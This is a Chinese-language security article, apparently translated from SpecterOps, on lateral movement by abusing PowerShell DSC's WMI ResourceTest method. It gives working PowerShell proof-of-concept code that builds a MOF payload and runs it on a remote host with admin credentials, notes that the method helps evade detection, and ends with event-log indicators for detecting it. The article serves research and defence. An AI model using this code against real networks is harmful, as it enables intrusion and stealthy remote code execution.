技術分享 | 如何通過PowerShell DSC進行橫向滲透
橫向滲透技術簡介
Shell/">PowerShell期望狀態配置(DSC)允許需要執行的資源直接使用WMI,在DSC WMI類的幫助下,我們可以通過濫用內建指令碼資源來實現PowerShell程式碼的遠端執行。
這樣的橫向滲透技術有如下幾點好處:
1.PowerShell將在WMI服務-wmiprvse.exe環境下執行,從躲避檢測的角度來說這是一個優勢。
2.Payload的每一個元件都跟WMI有關係。
3.無需配置DSC服務。
橫向滲透技術要求
1.ResourceTest方法必須在MSFT_DSCLocalConfigurationManager這個WMI類中,該類需位於root/Microsoft/Windows/DesiredStateConfiguration名稱空間中。注意:攻擊者還可以選擇呼叫ResourceGet或ResourceSet方法。PowerShell DSC是在PowerShell v4中引入的,所以這項技術並不適用於全部主機。
2.預設情況下,如果你要遠端呼叫WMI方法,你需要擁有管理員憑證。WMI的安全是通過DCOM或WSMan安全設定來實現的,在建立遠端連線時,WMI是通過目標名稱空間的安全描述符實現的(root/Microsoft/Windows/DesiredStateConfiguration)。
攻擊PoC
第一步就是準備Payload如何執行。你需要在目標主機上執行的PowerShell程式碼需要是MOF格式的,下面給出的是一份Payload樣本:
$MOFContents= @' instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref { ResourceID ="[Script]ScriptExample"; GetScript = "\"$(Get-Date): Iam being GET\" | Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True"; TestScript = "\"$(Get-Date): Iam being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append;return $True"; SetScript = "\"$(Get-Date): Iam being SET\"| Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True"; SourceInfo = "::3::5::Script"; ModuleName = "PsDesiredStateConfiguration"; ModuleVersion = "1.0"; ConfigurationName ="ScriptTest"; }; instance of OMI_ConfigurationDocument { Version="2.0.0"; MinimumCompatibleVersion ="1.0.0"; CompatibleVersionAdditionalProperties={"Omi_BaseResource:ConfigurationName"}; Author="TestUser"; GenerationDate="02/26/201807:09:21"; GenerationHost="TestHost"; Name="ScriptTest"; }; '@
這裡,唯一需要修改的就是PowerShell Payload。在我們的樣例中,我們將呼叫ResourceTest方法,該方法會返回上面的“TestScript”屬性。需要注意的是,特殊字元需要轉義處理。
下一步就是把MOF轉換成二進位制形式,這種資料形式也是ResourceTest方法要求的:
#Change this to false if you want to test the payload locally $ExecuteRemotely= $True $NormalizedMOFContents= [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents)) $NormalizedMOFBytes= [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents) $TotalSize= [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4) if($ExecuteRemotely) { # Prepend the length of the payload [Byte[]] $MOFBytes = $TotalSize +$NormalizedMOFBytes }else { # If executing locally, you do notprepend the payload length [Byte[]] $MOFBytes = $NormalizedMOFBytes }
在上述樣例中,如果你想在本地測試你的Payload,請不要在Byte陣列中新增Payload長度。Payload正確編碼之後,剩下的就是在目標主機上執行Payload了。
#Specify the credentials of your target $Credential= Get-Credential -Credential TempUser $ComputerName= 'TargetHost' #Establish a remote WMI session with the target system $RemoteCIMSession= New-CimSession -ComputerName $ComputerName -Credential $Credential $LCMClass= Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration-ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession if($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) { # You may now proceed with lateralmovement $MethodArgs = @{ ModuleName='PSDesiredStateConfiguration' ResourceType= 'MSFT_ScriptResource' resourceProperty= $MOFBytes } $Arguments = @{ Namespace='root/Microsoft/Windows/DesiredStateConfiguration' ClassName= 'MSFT_DSCLocalConfigurationManager' MethodName= 'ResourceTest' Arguments= $MethodArgs CimSession= $RemoteCIMSession } # Invoke the DSC script resource Testmethod # Successful execution will be indicatedby "InDesiredState" returning True and ReturnValue returning 0. Invoke-CimMethod @Arguments }else { Write-Warning 'The DSC lateral movementmethod is not available on the remote system.' }
在上面的例子中,大家請注意,我首先驗證了遠端類和方法的優先順序。在使用WMI技術時,我們建議大家首先驗證遠端類和方法的優先順序。
接下來,程式碼會將Payload下載到目標主機的磁碟中。如果你想要使用WMI來遠端獲取檔案內容,你可以配合使用【ofollow,noindex" target="_blank">這項技術 】。除此之外,我這裡還使用了CIM cmdlet,這個功能是在PowerShell v3中引入的,如果你需要適用v2版本的話,你還可以使用舊版本的WMI cmdlet。
終端檢測&保護
幸運的是,我們可以通過檢查事件日誌來發現這種攻擊活動,並進行及時檢測。
Microsoft-Windows-PowerShell/Operational事件日誌
EventID: 53504
“PowerShell Named Pipe IPC”事件表明PowerShell AppDomain已啟用。當DSC執行指令碼資源時,這個事件會自動捕捉“DscPsPluginWkr_AppDomain”。而AppDomain對於一次DSC執行來說是唯一的,下面是一個事件樣例:
Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain:DscPsPluginWkr_AppDomain.
“Windows PowerShell”事件日誌
EventID: 400
在正常的PowerShell日誌中,事件ID 400表明一個新的PowerShell主機程序被建立。當DSC指令碼資源執行時,它會生成一個唯一的事件日誌條目,並對其進行簽名。下面是一個樣例(引擎狀態從NONE轉換成了Available):
Details: NewEngineState=Available PreviousEngineState=None SequenceNumber=13 HostName=Default Host HostVersion=5.1.17134.81 HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d HostApplication=C:\Windows\system32\wbem\wmiprvse.exe EngineVersion=5.1.17134.81 RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906 PipelineId= CommandName= CommandType= ScriptName= CommandPath= CommandLine=
Microsoft-Windows-DSC/Operational事件日誌
EventID: 4102
當一個DSC資源被髮送至目標主機之後,系統會響應這個事件。如果目標主機存在於一個計算機域中,那麼系統會返回執行這個DSC資源的使用者SID以及源主機資訊。下面是事件樣本資訊:
Job{893F64B5-ABBF-11E8-B005-D336977413FC} : OperationInvoke-DscResource started by user sidS-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.
演示視訊
在下面這個視訊中,我們將給大家演示本文所介紹的滲透技術:
DEMO程式碼:【點我獲取 】
*參考來源:specterops ,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM